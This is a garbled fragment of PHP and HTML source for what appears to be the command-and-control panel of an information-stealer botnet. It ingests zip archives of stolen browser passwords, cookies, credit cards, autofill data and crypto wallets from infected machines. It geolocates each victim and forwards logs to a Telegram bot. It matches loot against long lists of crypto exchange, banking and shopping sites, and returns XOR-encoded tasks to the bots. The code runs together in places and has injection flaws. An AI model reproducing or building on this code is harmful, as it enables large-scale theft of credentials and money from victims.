Ваша ссылка для бота
| ID | 206 |Preset | 207 |Name | 208 |Params | 209 |Count | 210 |Country | 211 |Status | 212 |Actions | 213 |
|---|---|---|---|---|---|---|---|
| 229 | | 230 | | 231 | | 232 | | 233 | | 234 | | 235 | | "> 236 | 237 | | 238 |
$ip_info_";
91 | $content = array(
92 | 'chat_id' => $chat_id,
93 | 'text' => $info,
94 | 'parse_mode'=>'HTML',
95 | );
96 | file_get_contents($url."/sendmessage?".http_build_query($content));
97 |
98 | $url_log = 'https://'.$_SERVER['SERVER_NAME'].'/files/'.$file;
99 | $content = array(
100 | 'chat_id' => $chat_id,
101 | 'document'=>$url_log,
102 | 'parse_mode'=>'HTML',
103 | );
104 | file_get_contents($url."/sendDocument?".http_build_query($content));
105 |
106 | }
107 | }
108 | }
109 | $file = $dir;
110 | $hwid = $array['hwid'];
111 | $settings = $pdoConnection->query("SELECT * FROM `settings`")->fetch();
112 | $currentLog = $pdoConnection->query("SELECT COUNT(*) FROM logs WHERE hwid = '" . $hwid . "'")->fetchColumn(0);
113 | $zip = new ZipArchive;
114 | $res = $zip->open($_SERVER['DOCUMENT_ROOT'].'/'.$dira);
115 | $zip->extractTo("logs/" . $hwid);
116 |
117 | $zip->extractTo("logs/" . $hwid);
118 | $zip->close();
119 |
120 | if($settings[2]=='on'&&$currentLog>=0||$settings[2]=='off'&&$currentLog==0){
121 |
122 | if ($res === TRUE) {
123 | $count = $zip->numFiles;
124 | for ($i = 0; $i < $count; $i++)
125 | {
126 | $stat = $zip->statIndex ($i);
127 | if(stripos($stat['name'],".php")!==FALSE||stripos($stat['name'],".htm")!==FALSE||stripos($stat['name'],".asp")!==FALSE){
128 | deleteTmp($file);
129 | die();
130 | }
131 | }
132 | $os = strip_tags($_GET['os']);
133 | $cookie = $array['cookies'];
134 | $pswd =$array['passwords'];
135 | $version = '2.0';
136 | $cc = $array['cc'];
137 | $wallet = strip_tags($_GET['wallet']);
138 | $fileCount = strip_tags($_GET['file']);
139 | $autofill =$array['autofill'];
140 | $userid =1;
141 | $ip = $_SERVER["REMOTE_ADDR"];
142 | $date = time();
143 | $geolocationString = "IP : " . $ip . "\r\n";
144 | for ($crashes = 0; $crashes < 5; $crashes++) {
145 | try {
146 | $loc = json_decode(file_get_contents('http://ip-api.com/json/' . $ip), true);
147 | $country = $loc["country"];
148 | $countryCode = $loc['countryCode'];
149 | $geolocationString = $geolocationString . "Country Code : " . $loc['countryCode'] . "\r\n";
150 | $geolocationString = $geolocationString . "Country : " . $loc['country'] . "\r\n";
151 | $geolocationString = $geolocationString . "State Name : " . $loc['regionName'] . "\r\n";
152 | $geolocationString = $geolocationString . "City : " . $loc['city'] . "\r\n";
153 | $geolocationString = $geolocationString . "Timezone : " . $loc['timezone'] . "\r\n";
154 | $geolocationString = $geolocationString . "ZIP : " . $loc['zip'] . "\r\n";
155 | $geolocationString = $geolocationString . "ISP : " . $loc['isp'] . "\r\n";
156 | $geolocationString = $geolocationString . "Coordinates : " . $loc['lat'] . " , " . $loc['lon'] . "\r\n\r\n";
157 | break;
158 | }
159 | catch(Exception $e) {
160 | $country = "ERROR";
161 | }
162 | }
163 | if($country == "ERROR"){
164 | require_once("assets/GeoIP/geoip.php");
165 | $country = ip_name($ip);
166 | $countryCode= ip_code($ip);
167 | $geolocationString = $geolocationString . "Country Code : " . $countryCode . "\r\n";
168 | $geolocationString = $geolocationString . "Country : " . $country . "\r\n";
169 | }
170 | mkdir("logs/" . $hwid, 0777);
171 | if($settings[1]=="off"){
172 | if($countryCode=="RU"||$countryCode=="KZ"||$countryCode=="UA"||$countryCode=="BY"){
173 | if(!file_exists("logs/cislogs")){
174 | mkdir("logs/cislogs",0777);
175 | }
176 | mkdir("logs/cislogs/" . $hwid, 0777);
177 |
178 | die();
179 | }
180 | }
181 | $zip->extractTo("logs/" . $hwid);
182 | file_put_contents("logs/" . $hwid . "/" . ".htaccess","php_flag engine 0
183 | RemoveHandler .phtml .php .php2 .php3 .php4 .php5 .php7 .phps .cgi .pl .asp .aspx .shtml .shtm .fcgi .fpl .htm .html
184 | AddType text/plain .phtml .php .php2 .php3 .php4 .php5 .php6 .php7 .phps .cgi .pl .asp .aspx .shtml .shtm .fcgi .fpl .htm .html");
185 | $comment = $zip->getArchiveComment();
186 | $zip->close();
187 | $fd = fopen("logs/" . $hwid . "/" . "information.log", 'w');
188 | fwrite($fd, $comment);
189 | fclose($fd);
190 | $n = 2;
191 |
192 | $info = "logs/" . $hwid . "/" . "information.log";
193 | $f = file($info);
194 | array_splice($f, $n, 0, $geolocationString);
195 | file_put_contents($info, $f);
196 |
197 | $crypto = array('freewallet.org', 'paxful.com', 'capdax.com', 'wazirx.com', 'okex.com', 'bitfinex.com', 'hitbtc.com', 'kraken.com', 'gateio.io', 'bitstamp.net', 'bittrex.com', 'exmo', 'yobit', 'poloniex.com', 'bitflyer.jp', 'livecoin.net', 'wex.nz', 'cryptonator', 'mercatox.com', 'localbitcoins.com', 'localbitcoins.net', 'luno.', 'coinpayments', 'therocktrading.com', 'etherdelta.com', 'anxpro.com', 'c-cex.com', 'gatecoin.com', 'kiwi-coin.com', 'jubi.com', 'koineks.com', 'ecoin.cc', 'koinim.com', 'litebit.eu', 'lykke.com', 'mangr.com', 'localtrade.pro', 'lbank.info', 'leoxchange.com', 'liqui.io', 'kuna.io', 'fybse.se', 'freiexchange.com', 'fybsg.com', 'gatehub.net', 'getbtc.org', 'gemini.com', 'gdax.com', 'foxbit.com.br', 'foxbit.exchange', 'flowbtc.com.br', 'exx.com', 'exrates.me', 'excambriorex.com', 'ezbtc.ca', 'fargobase.com', 'fisco.co.uk', 'glidera.io', 'indacoin.com', 'ethexindia.com', 'indx.ru', 'infinitycoin.exchange', 'idex.su', 'idex.market', 'ice3x.com', 'ice3x.co.za', 'guldentrader.com', 'exchange.guldentrader.com', 'heatwallet.com', 'hypex.nl', 'negociecoins.com.br', 'topbtc.com', 'tidex.com', 'tidebit.com', 'tradesatoshi.com', 'urdubit.com', 'tuxexchange.com', 'tdax.com', 'spacebtc.com', 'surbitcoin.com', 'surbtc.com', 'usd-x.com', 'xbtce.com', 'yunbi.com', 'zyado.com', 'trade.z.com', 'zaif.jp', 'wavesplatform.com', 'walltime.info', 'vbtc.exchange', 'vaultoro.com', 'vircurex.com', 'virtacoinworld.com', 'vwlpro.com', 'nlexch.com', 'nevbit.com', 'nocks.com', 'novaexchange.com', 'nxtplatform.org', 'neraex.pro', 'mixcoins.com', 'mr-ripple.com', 'dsx.uk', 'nzbcx.com', 'okcoin.com', 'quadrigacx.com', 'quoinex.com', 'rightbtc.com', 'ripplefox.com', 'rippex.net', 'openledger.info', 'paymium.com', 'paribu.com', 'mercadobitcoin.com.br', 'dcexe.com', 'bitmex.com', 'bitmaszyna.pl', 'bitonic.nl', 'bitpanda.com', 'bitsblockchain.net', 'bitmarket.net', 'bitlish.com', 'bitfex.trade', 'bitexbook.com', 'bitex.la', 'bitflip.cc', 'bitgrail.com', 'bitkan.com', 'bitinka.com', 'bitholic.com', 'bitsane.com', 'changer.com', 'bitshares.org', 'btcmarkets.net', 'braziliex.com', 'btc-trade.com.ua', 'btc-alpha.com', 'bl3p.eu', 'bitssa.com', 'bitspark.io', 'bitso.com', 'bitstar.com', 'ittylicious.com', 'altcointrader.co.za', 'arenabitcoin', 'allcoin.com', 'abucoins.com', 'aidosmarket.com', 'aex.com', 'acx.com', 'bancor.network', 'bitbay.net', 'indodax.com', 'bitcointrade.com.br', 'bitcointoyou.com', 'bitbanktrade.jp', 'bitbank.com', 'big.one', 'bcex.ru', 'bitconnect.co', 'bisq.network', 'bit2c.co.il', 'bit-z.com', 'btcbear.com', 'btcbox.in', 'counterwallet.io', 'freewallet.io', 'indiesquare.me', 'rarepepewallet.com', 'coss.io', 'coolcoin.com', 'crex24.com', 'cryptex.net', 'coinut.com', 'coinsbank.com', 'coinsecure.in', 'coinsquare.com', 'coinsquare.io', 'coinspot.io', 'coinmarketcap.com', 'crypto-bridge.org', 'dcex.com', 'dabtc.com', 'decentrex.com', 'deribit.com', 'dgtmarket.com', 'cryptomkt.com', 'cryptoderivatives.market', 'cryptodao.com', 'cryptomate.co.uk', 'cryptox.pl', 'cryptopia.co.nz', 'coinroom.com', 'coinrate.net', 'chbtc.com', 'chilebit.net', 'coinbase.com', 'burst-coin.org', 'poloniex.com', 'btcc.', 'binance', 'btcc.net', 'btc-trade.com.ua', 'btctrade.im', 'btcturk.com', 'btcxindia.com', 'coincheck.com', 'coinmate.io', 'coingi.com', 'coinnest.co.kr', 'coinrail.co.kr', 'coinpit.io', 'coingather.com', 'coinfloor.co.uk', 'coinegg.com', 'coincorner.com', 'coinexchange.io', 'coinfalcon.com', 'digatrade.com', 'btc-alpha.com', 'blockchain', 'minergate', 'myetherwallet.com', 'litevault.net', 'dogechain.info', 'coinome', 'bitbns', 'btc.top', 'etherdelta.com', 'btcbank.com.ua', 'coindelta.com', 'depotwallet.com', 'kryptex.org');
198 | $game = array('steam', 'origin', 'ubi');
199 | $money = array('paypal', 'chase.com', 'TD', 'wells', 'capitalone', 'skrill', 'PayU');
200 | $shop = array('amazon', 'ebay', 'walmart', 'newegg', 'apple', 'bestbuy');
201 |
202 | $cookies = "logs/" . $hwid . "/" . "passwords.log";
203 | $taskListXOR = "";
204 | $pdoConnection->exec("INSERT INTO `logs`(`id`, `userID`,`hwid`, `system`, `ip`, `country`, `date`, `count`, `cookie`, `pswd`, `buildversion`, `credit`, `autofill`, `wallets`, `comment`, `checked`) VALUES (null, '$userid','$hwid','$os','$ip','$country','$date', '$fileCount', '$cookie', '$pswd', '$version', '$cc', '$autofill', '$wallet','','0')");
205 | $tasks = $pdoConnection->query("SELECT * FROM `tasks` ORDER BY `id` LIMIT 10");
206 | while ($task = $tasks->fetch(PDO::FETCH_ASSOC)) {
207 | if ($task["count"] == 0) {
208 | $taskID = $task["id"];
209 | $typePreset = $task['preset'];
210 | if(checkTaskParams($hwid,$pswd,$cookie,$wallet,$cc,$task['params'])) continue;
211 | if($typePreset!=="all"){
212 | $b=0;
213 | $presetsArray = $pdoConnection->query("SELECT id,color,pattern,name FROM `presets` WHERE name='$typePreset'")->fetch();
214 | $siteFinded = explode(";",$presetsArray['pattern']);
215 | foreach($siteFinded as $key){
216 | if(file_exists("logs/" . $hwid . "/" . "passwords.log")) if (strripos(file_get_contents("logs/" . $hwid . "/" . "passwords.log"), $key)!==false) $b++;
217 | if(file_exists("logs/" . $hwid . "/" . "cookieDomains.log")) if (strripos(file_get_contents("logs/" . $hwid . "/" . "cookieDomains.log"), $key)!==false) $b++;
218 | }
219 | if($b==0) continue;
220 | }
221 | if ($task["country"] == "*") {
222 | $taskListXOR .= $task["task"]."~;~";
223 | } else {
224 | $countries = explode(",", $task["country"]);
225 |
226 | foreach ($countries as $_country) {
227 | if ($_country == $loc['countryCode']) {
228 | $taskListXOR .=$task["task"]."~;~";
229 | }
230 | }
231 | }
232 | } else if ($task["count"] > $task["status"]) {
233 | $taskID = $task["id"];
234 | $typePreset = $task['preset'];
235 | if(checkTaskParams($hwid,$pswd,$cookie,$wallet,$cc,$task['params'])) continue;
236 | if($typePreset!=="all"){
237 | $b=0;
238 | $presetsArray = $pdoConnection->query("SELECT id,color,pattern,name FROM `presets` WHERE name='$typePreset'")->fetch();
239 | $siteFinded = explode("~;~",$presetsArray['pattern']);
240 | foreach($siteFinded as $key){
241 | if(file_exists("logs/" . $hwid . "/" . "passwords.log")) if (strripos(file_get_contents("logs/" . $hwid . "/" . "passwords.log"), $key)!==false) $b++;
242 | if(file_exists("logs/" . $hwid . "/" . "cookieDomains.log")) if (strripos(file_get_contents("logs/" . $hwid . "/" . "cookieDomains.log"), $key)!==false) $b++;
243 | }
244 | if($b==0) continue;
245 | }
246 | if ($task["country"] == "*") {
247 | $pdoConnection->exec("UPDATE `tasks` SET `status`=`status` + 1 WHERE `id`='$taskID'");
248 |
249 | $taskListXOR .=$task["task"]."~;~";
250 | } else {
251 | $countries = explode(",", $task["country"]);
252 | foreach ($countries as $_country) {
253 | if ($_country == $loc['countryCode']) {
254 | $pdoConnection->exec("UPDATE `tasks` SET `status`=`status` + 1 WHERE `id`='$taskID'");
255 |
256 | $taskListXOR .=$task["task"]."~;~";
257 | }
258 | }
259 | }
260 | }
261 |
262 | }
263 | echo myxor($taskListXOR,$xorKey);
264 | } else {
265 | deleteTmp($file);
266 | die();
267 | }
268 | }
269 | deleteTmp($file);
270 | function deleteTmp($file){
271 | if(file_exists($file)) unlink($file);
272 | if(file_exists('tmp/'.$_SERVER['REMOTE_ADDR'])) unlink('tmp/'.$_SERVER['REMOTE_ADDR']);
273 | }
274 | function checkTaskParams($hwid,$pswd,$cookie,$wallet,$cc,$params){
275 | $paramArray = explode(';',$params);
276 | $pass = $paramArray[0];
277 | $cookies=$paramArray[1];
278 | $wallets=$paramArray[2];
279 | $jabb=$paramArray[3];
280 | $tg=$paramArray[4];
281 | $ccParam=$paramArray[5];
282 | if($pass=="on"){
283 | if ($pswd==0) return true;
284 | }
285 | if($cookies=="on"){
286 | if ($cookie==0) return true;
287 | }
288 | if($wallets=="on"){
289 | if ($wallet==0) return true;
290 | }
291 | if($jabb=="on"){
292 | $fname = "logs/" . $hwid . "/jabber";
293 | if (!file_exists($fname)) return true;
294 | }
295 | if($tg=="on"){
296 | $fname = "logs/" . $hwid . "/Telegram";
297 | if (!file_exists($fname)) return true;
298 | }
299 | if($ccParam=="on"){
300 | if ($cc==0) return true;
301 | }
302 | return false;
303 | }
304 |
305 | function contains($string, Array $search, $caseInsensitive = false)
306 | {
307 | $exp = '/'
308 | . implode('|', array_map('preg_quote', $search))
309 | . ($caseInsensitive ? '/i' : '/');
310 | return preg_match($exp, $string) ? true : false;
311 | }
312 |
313 | function formatString($param)
314 | {
315 | $returnString = $param;
316 | $returnString = trim($returnString);
317 | $returnString = stripslashes($returnString);
318 | $returnString = htmlspecialchars($returnString);
319 |
320 | return $returnString;
321 | }
322 | function myxor($text, $key){
323 | $outText='';
324 | for($i=0;$i| 314 | | Stats | 315 |HWID/System | 316 |Network | 317 |Date | 318 |Version | 319 | 320 |ID | 321 |Comment | 322 |Actions | 323 |
|---|---|---|---|---|---|---|---|---|
| '; 334 | }else{ 335 | echo ''; 336 | } 337 | ?> | 338 | 339 |
340 |
342 | 0) echo "color:red;";?>">
344 |
345 |
346 |
347 |
348 |
349 |
350 | query("SELECT id,color,pattern,name FROM `presets`");
352 | $b=0;
353 | while($presetArray=$presetsArray->fetch()){
354 | $siteFinded = explode(";",$presetArray[2]);
355 | foreach($siteFinded as $key){
356 | if(file_exists("logs/" . $bot["hwid"] . "/" . "passwords.log")){
357 | if (strpos(file_get_contents("logs/" . $bot["hwid"] . "/" . "passwords.log"), $key) !== false) {
358 | if($b==0){echo ' ';$b++;} 359 | echo ''.$key.' '; 361 | } 362 | } 363 | if(file_exists("logs/" . $bot["hwid"] . "/" . "cookieDomains.log")){ 364 | if (strpos(file_get_contents("logs/" . $bot["hwid"] . "/" . "cookieDomains.log"), $key) !== false) { 365 | if($b==0){echo ' ';$b++;} 366 | echo ''.$key.' '; 368 | } 369 | } 370 | } 371 | } 372 | ?> 373 | |
374 | 375 | 376 | |
377 | 378 | 379 | |
380 | 381 | | 382 | 383 | | ".$bot['userID'].""; ?> | 385 |386 | 394 | | 395 |
396 |
397 |
401 |
408 |
409 | |
410 |
411 |